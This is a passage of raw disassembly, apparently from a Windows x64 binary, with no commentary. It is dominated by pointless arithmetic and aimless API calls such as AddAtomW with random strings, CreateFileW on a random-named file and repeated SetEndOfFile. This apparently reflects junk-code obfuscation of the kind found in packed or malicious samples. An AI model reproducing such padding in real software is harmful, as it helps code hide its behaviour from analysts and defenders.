mov dword [rsp + 0xcd28], eax
movzx ecx, word [rsp + 0x35b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35d4], ax
movzx eax, byte [rsp + 0x782]
mov byte [rsp + 0xcdb0], al
cmp byte [rsp + 0xcdb0], 4
je 0x14001deea
jmp 0x14001df57
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35cc]
sub eax, ecx
mov word [rsp + 0x1a18], ax
lea rdx, [rsp + 0xcd3c]
lea rcx, [rsp + 0x196a8]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0xcdb4], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x787]
sub eax, ecx
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rax]
call fcn.14028d530
jmp 0x14028ccd1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xccc8], eax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19728]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcd58]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcd94], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov eax, dword [rsp + 0xcd98]
mov rcx, qword [rsp + 0x196b8]
mov qword [rsp + 0x19808], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19808]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x19780]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbc10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd1c], eax
mov eax, dword [rsp + 0xcd98]
mov rcx, qword [rsp + 0x19740]
mov qword [rsp + 0x19810], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19810]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x19740]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
movsx eax, byte [rsp + 0x782]
movsx ecx, byte [rsp + 0x786]
and eax, ecx
mov byte [rsp + 0x55e], al
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35b4]
sub eax, ecx
mov rcx, qword [rsp + 0x19768]
mov word [rcx], ax
lea rcx, [rsp + 0x19720]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xccdc], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35c4]
add eax, ecx
mov word [rsp + 0x35cc], ax
movzx eax, byte [rsp + 0x787]
movzx ecx, byte [rsp + 0x666]
sub eax, ecx
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x19710]
mov ecx, dword [0x1402ad630]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb404], eax
mov rax, qword [rsp + 0x19710]
mov ecx, dword [rsp + 0xcce4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1a18]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x18d8], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x785]
add eax, ecx
mov byte [rsp + 0x783], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov eax, dword [rsp + 0xcd98]
mov ecx, dword [rsp + 0xbc10]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19740]
mov dword [rcx], eax
lea rcx, str.EMHAW05WC1_w
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x35d0], ax
mov rax, qword [rsp + 0x19710]
mov ecx, dword [rsp + 0xb404]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcce4], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcd58]
sar eax, cl
mov dword [rsp + 0xcd94], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xccc0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8754], eax
movzx eax, byte [rsp + 0x783]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1402acb3b], al
lea rcx, [rsp + 0x2af28]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, word [rsp + 0x18d8]
movzx ecx, word [rsp + 0x35cc]
shl eax, cl
mov word [rsp + 0x35a8], ax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcd4c], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd58], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xcdb8], eax
movsx eax, byte [rsp + 0x782]
movsx ecx, byte [rsp + 0x55e]
add eax, ecx
mov byte [rsp + 0x786], al
mov eax, dword [rsp + 0xcdac]
add eax, 0x6d
mov dword [rsp + 0xcdac], eax
movsx eax, word [rsp + 0x35b4]
mov rcx, qword [rsp + 0x19768]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x35ac], ax
movzx eax, byte [rsp + 0x17a]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x784], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xcd9c], eax
movzx eax, word [rsp + 0x35cc]
movzx ecx, word [rsp + 0x2964]
add eax, ecx
mov rcx, qword [rsp + 0x197a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xcd10]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcda8], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd3c]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad634], eax
mov rax, qword [rsp + 0x19780]
mov ecx, dword [rsp + 0xcd3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8754], eax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcce4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd10], eax
mov eax, dword [0x1402bf788]
movzx ecx, al
mov eax, dword [rsp + 0xcd3c]
shl eax, cl
mov dword [rsp + 0xc224], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x784]
sar eax, cl
mov byte [rsp + 0x785], al
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35c4]
or eax, ecx
mov word [rsp + 0x18d8], ax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd1c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd70], eax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd10]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcda8], eax
mov eax, dword [rsp + 0xcd58]
mov ecx, dword [0x1402ad634]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19750]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8754]
mov ecx, dword [rsp + 0xcd1c]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad634], eax
movzx eax, word [rsp + 0x18d8]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x35bc], ax
cmp dword [rsp + 0xcdac], 0x3504
jne 0x14001df57
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xcd28], eax
movzx eax, byte [rsp + 0x17a]
movzx ecx, byte [rsp + 0x666]
add eax, ecx
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x784]
sub ecx, edx
cmp eax, ecx
jne 0x14001e532
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x784]
add eax, ecx
mov byte [rsp + 0x787], al
movsx eax, word [rsp + 0x35a4]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x35b4], ax
movsx eax, byte [rsp + 0x786]
movsx ecx, byte [rsp + 0x782]
sub eax, ecx
mov byte [rsp + 0x55e], al
mov r8d, dword [rsp + 0xccc0]
movzx edx, byte [rsp + 0x17a]
mov rax, qword [rsp + 0x19750]
mov ecx, dword [rax]
call fcn.14028d4b0
mov eax, dword [rsp + 0xb404]
mov rcx, qword [rsp + 0x19728]
mov qword [rsp + 0x19818], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19818]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xcda8], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19740]
mov qword [rsp + 0x19820], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19820]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8754], eax
lea rax, [rsp + 0x666]
mov qword [rsp + 0x19828], rax
movsx eax, word [rsp + 0x35a4]
mov dword [rsp + 0xcdbc], eax
cmp dword [rsp + 0xcdbc], 0
je 0x14001e5b5
cmp dword [rsp + 0xcdbc], 0x4ee
je 0x14001e56d
jmp 0x14028cc34
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xb404]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcda8], eax
movzx eax, word [rsp + 0x35c4]
movzx ecx, word [rsp + 0x2964]
add eax, ecx
mov word [rsp + 0x18d8], ax
mov rax, qword [rsp + 0x19780]
mov ecx, dword [rax]
call fcn.14028d530
jmp 0x14028cc34
movzx eax, byte [rsp + 0x787]
movzx ecx, byte [rsp + 0x783]
add eax, ecx
mov byte [rsp + 0x666], al
movzx eax, word [rsp + 0x35c4]
mov dword [rsp + 0xcdc0], eax
cmp dword [rsp + 0xcdc0], 0x4b9
je 0x14001e5ef
jmp 0x14001e678
mov eax, dword [rsp + 0xcd4c]
mov ecx, dword [rsp + 0xb404]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd10], eax
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x19750]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402bf788], eax
mov dword [rsp + 0x20], ILFindChild
lea r9, [rsp + 0x19780]
lea r8, [rsp + 0xcdc4]
mov edx, 0x86
mov rcx, qword [rsp + 0x196e8]
call qword [sym.imp.SHELL32.dll_ExtractIconExW]
mov dword [rsp + 0xcd10], eax
mov rax, qword [rsp + 0x19780]
mov ecx, dword [rsp + 0xc224]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
jmp 0x14028cbff
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
mov dword [rsp + 0xcdc8], eax
cmp dword [rsp + 0xcdc8], 0
je 0x14001e699
jmp 0x14028cb24
lea rcx, str.65L_wZ8_LN
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x35d8], ax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd98], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18d8]
and eax, ecx
mov word [rsp + 0x35a8], ax
movzx eax, byte [rsp + 0x785]
movzx ecx, byte [rsp + 0x17a]
add eax, ecx
mov rcx, qword [rsp + 0x196d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xcce4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb404], eax
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x19740]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xccc0], eax
mov eax, dword [rsp + 0xcd94]
mov ecx, dword [rsp + 0xcd58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd3c], eax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xcce4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb404], eax
movzx eax, word [rsp + 0x35bc]
movzx ecx, word [rsp + 0x35cc]
sub eax, ecx
mov word [rsp + 0x35a8], ax
lea rdx, [rsp + 0xcce0]
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xcce0], eax
mov eax, dword [rsp + 0xccf4]
add eax, 0xe6
mov dword [rsp + 0xccf4], eax
movzx eax, byte [rsp + 0x785]
movzx ecx, byte [rsp + 0x666]
sub eax, ecx
mov byte [rsp + 0x787], al
mov rax, qword [rsp + 0x19750]
mov ecx, dword [rsp + 0xcd98]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd70], eax
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x19740]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcd1c], eax
movsx eax, byte [0x1402bf78c]
movsx ecx, byte [rsp + 0x782]
xor eax, ecx
mov byte [0x1402acb46], al
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35a4]
sar eax, cl
mov word [rsp + 0x35ac], ax
movzx eax, word [rsp + 0x18d8]
movzx ecx, word [rsp + 0x35c0]
shl eax, cl
mov word [rsp + 0x2964], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xcce0], eax
movzx eax, byte [rsp + 0x784]
movzx ecx, byte [rsp + 0x17a]
and eax, ecx
mov byte [rsp + 0x787], al
mov eax, dword [rsp + 0xcd4c]
mov ecx, dword [rsp + 0xcce4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcda8], eax
cmp dword [rsp + 0xccf4], 0x5a97
jb 0x14001e6ae
movsx eax, word [rsp + 0x35b4]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x35ac]
mov rdx, qword [rsp + 0x19768]
movsx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jl 0x14028c9a6
lea rdx, [rsp + 0x19718]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xcd84], eax
mov eax, dword [rsp + 0x8754]
mov dword [rsp + 0xcdcc], eax
mov rax, qword [rsp + 0x19780]
mov ecx, dword [0x1402ad634]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcdcc], eax
mov eax, dword [rsp + 0xb404]
mov dword [rsp + 0xcdd0], eax
movzx eax, word [rsp + 0x18d8]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x35bc], ax
lea rax, [rsp + 0x783]
mov qword [rsp + 0x19830], rax
movsx eax, word [rsp + 0x35ac]
movsx ecx, word [rsp + 0x35b4]
add eax, ecx
mov word [rsp + 0x35a4], ax
movsx eax, byte [rsp + 0x55e]
movsx ecx, byte [rsp + 0x782]
sub eax, ecx
mov byte [rsp + 0x475], al
lea rcx, [rsp + 0x2af50]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.gl2pxSc6RQvT2h3MI1BmBH
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19838], rax
mov eax, dword [rsp + 0xcda8]
mov dword [0x1402bf780], eax
mov rax, qword [rsp + 0x19780]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd94], eax
movzx eax, byte [rsp + 0x784]
mov byte [rsp + 0x788], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xcce0], eax
movzx eax, word [rsp + 0x35a8]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x35c0], ax
mov rax, qword [rsp + 0x19740]
mov rcx, qword [rsp + 0x196b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcd94], eax
mov eax, dword [rsp + 0xb404]
mov dword [rsp + 0xcdd4], eax
mov eax, dword [rsp + 0xcd70]
mov ecx, dword [rsp + 0xccc0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa958], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x19840], rax
lea rax, [rsp + 0x1a18]
mov qword [rsp + 0x19848], rax
movzx eax, byte [rsp + 0x788]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acb47], al
mov rax, qword [rsp + 0x19710]
mov ecx, dword [rsp + 0xcce4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcda8], eax
lea rax, [rsp + 0xa958]
mov qword [rsp + 0x19850], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xcdb8], eax
mov eax, dword [rsp + 0xcd98]
mov ecx, dword [0x1402ad634]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xc224], eax
mov rax, qword [rsp + 0x19850]
mov ecx, dword [rsp + 0xcd58]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcd94], eax
mov eax, dword [rsp + 0xa958]
mov dword [rsp + 0xcdd8], eax
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35b4]
sar eax, cl
mov word [rsp + 0x35a4], ax
movzx eax, byte [rsp + 0x782]
mov byte [rsp + 0x789], al
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a18]
shl eax, cl
mov word [rsp + 0x18d8], ax
movzx eax, byte [rsp + 0x785]
movzx ecx, byte [rsp + 0x666]
and eax, ecx
mov byte [0x1402acb4e], al
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcda8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb404], eax
mov eax, dword [0x1402bf780]
mov ecx, dword [rsp + 0xcdd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2e8], eax
movzx eax, byte [rsp + 0x787]
movzx ecx, byte [rsp + 0x785]
add eax, ecx
mov byte [rsp + 0x784], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x197e0], rax
lea rax, [rsp + 0x35bc]
mov qword [rsp + 0x19858], rax
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xcddc], eax
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
mov dword [rsp + 0xcde0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
lea rdx, [rsp + 0x19720]
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xcd24], eax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd4c], eax
mov rax, qword [rsp + 0x19750]
mov rcx, qword [rsp + 0x19780]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd3c], eax
mov eax, dword [0x1402ad634]
mov dword [rsp + 0xcde4], eax
lea rax, [rsp + 0x787]
mov qword [0x1402bf778], rax
movzx eax, word [rsp + 0x18d8]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x19858]
mov word [rcx], ax
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov dword [rsp + 0xcde8], eax
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x19740]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x19850]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x786]
movsx ecx, byte [rsp + 0x782]
add eax, ecx
mov byte [rsp + 0x789], al
movsx eax, word [rsp + 0x35a4]
movsx ecx, word [rsp + 0x35b4]
add eax, ecx
mov word [rsp + 0x2f5c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xcdec], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1a18], ax
lea rax, [rsp + 0x785]
mov qword [rsp + 0x19860], rax
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xcd10]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcd4c], eax
mov eax, dword [rsp + 0xcd70]
mov dword [0x1402bf770], eax
mov eax, dword [rsp + 0xcd94]
mov dword [rsp + 0xcdf0], eax
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19710]
mov qword [rsp + 0x19868], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19868]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcd10], eax
mov eax, dword [rsp + 0xccc0]
movzx ecx, al
mov eax, dword [rsp + 0xcd98]
sar eax, cl
mov rcx, qword [rsp + 0x19780]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xcce0], eax
movzx eax, word [rsp + 0x1a18]
mov word [rsp + 0x35dc], ax
movzx eax, byte [rsp + 0x787]
movzx ecx, byte [rsp + 0x666]
xor eax, ecx
mov byte [rsp + 0x784], al
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd58]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f6c], eax
mov rax, qword [rsp + 0x19710]
mov ecx, dword [rsp + 0xcdd4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcdd0], eax
mov rax, qword [rsp + 0x19740]
mov ecx, dword [rsp + 0xbc10]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x91e8], eax
lea rax, [rsp + 0xcdf0]
mov qword [0x1402bf768], rax
movzx eax, byte [rsp + 0x666]
mov byte [rsp + 0x78a], al
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x35dc], ax
mov rax, qword [rsp + 0x19800]
movzx eax, word [rax]
mov word [rsp + 0x35e0], ax
movsx eax, byte [rsp + 0x782]
movsx ecx, byte [0x1402acb46]
sub eax, ecx
mov byte [rsp + 0x789], al
mov rax, qword [rsp + 0x19710]
mov ecx, dword [rsp + 0xb404]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcda8], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9148], eax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x78a], al
movzx eax, word [rsp + 0x18d8]
mov word [rsp + 0x35e4], ax
lea rax, [rsp + 0xa2e8]
mov qword [0x1402bf760], rax
mov rax, qword [rsp + 0x19780]
mov ecx, dword [0x1402bf788]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcdd8], eax
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xcd74], eax
mov rax, qword [rsp + 0x19750]
mov rcx, qword [rsp + 0x196b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcd58], eax
mov eax, dword [rsp + 0xcdd0]
mov dword [rsp + 0xcdf4], eax
movzx eax, byte [rsp + 0x78a]
movzx ecx, byte [rsp + 0x666]
sar eax, cl
mov byte [rsp + 0x785], al
movzx ecx, word [rsp + 0x35b8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35e8], ax
lea rax, [rsp + 0x35cc]
mov qword [rsp + 0x19870], rax
mov eax, dword [rsp + 0xa958]
mov rcx, qword [rsp + 0x19740]
mov qword [rsp + 0x19878], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19878]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcdf0], eax
mov eax, dword [rsp + 0xcdd8]
mov ecx, dword [0x1402bf770]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xc538], eax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xa2e8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcdd0], eax
mov rax, qword [0x1402bf768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9148]
and ecx, eax
mov eax, ecx
mov dword [0x1402bf788], eax
mov rax, qword [rsp + 0x19780]
mov ecx, dword [rsp + 0xc538]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcdcc], eax
movzx eax, word [rsp + 0x35a4]
mov word [rsp + 0x35ec], ax
lea rax, [rsp + 0x789]
mov qword [rsp + 0x19880], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [0x1402bf778]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x17a], al
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov word [rsp + 0x35f0], ax
mov eax, dword [rsp + 0xcd10]
mov ecx, dword [rsp + 0xcce4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb404], eax
mov rax, qword [0x1402bf768]
mov rcx, qword [rsp + 0x196b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19850]
mov dword [rcx], eax
movzx eax, word [rsp + 0x18d8]
mov word [rsp + 0x35f4], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acb3b], al
mov eax, dword [rsp + 0xcde8]
mov ecx, dword [rsp + 0xcdd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdd4], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa934], eax
mov rax, qword [0x1402bf768]
mov rcx, qword [rsp + 0x19850]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8754], eax
mov eax, dword [rsp + 0xcde8]
movzx ecx, al
mov eax, dword [rsp + 0xcdd0]
shl eax, cl
mov dword [rsp + 0xcce4], eax
movzx eax, word [rsp + 0x35dc]
mov word [rsp + 0x35f8], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x783], al
lea rax, [rsp + 0x8754]
mov qword [rsp + 0x19888], rax
mov eax, dword [rsp + 0xc224]
movzx ecx, al
mov eax, dword [rsp + 0xa934]
sar eax, cl
mov dword [rsp + 0xbc10], eax
movsx eax, word [rsp + 0x35a4]
movsx ecx, word [rsp + 0x35e0]
xor eax, ecx
mov word [0x1402ad63c], ax
mov rax, qword [rsp + 0x19880]
movzx eax, byte [rax]
mov byte [rsp + 0x78b], al
movzx eax, word [rsp + 0x35cc]
movzx ecx, word [rsp + 0x35dc]
add eax, ecx
mov word [rsp + 0x35c4], ax
movzx eax, byte [rsp + 0x784]
movzx ecx, byte [rsp + 0x787]
sub eax, ecx
mov byte [rsp + 0x666], al
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcdd0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xc264], eax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov ecx, dword [0x1402bf780]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb404], eax
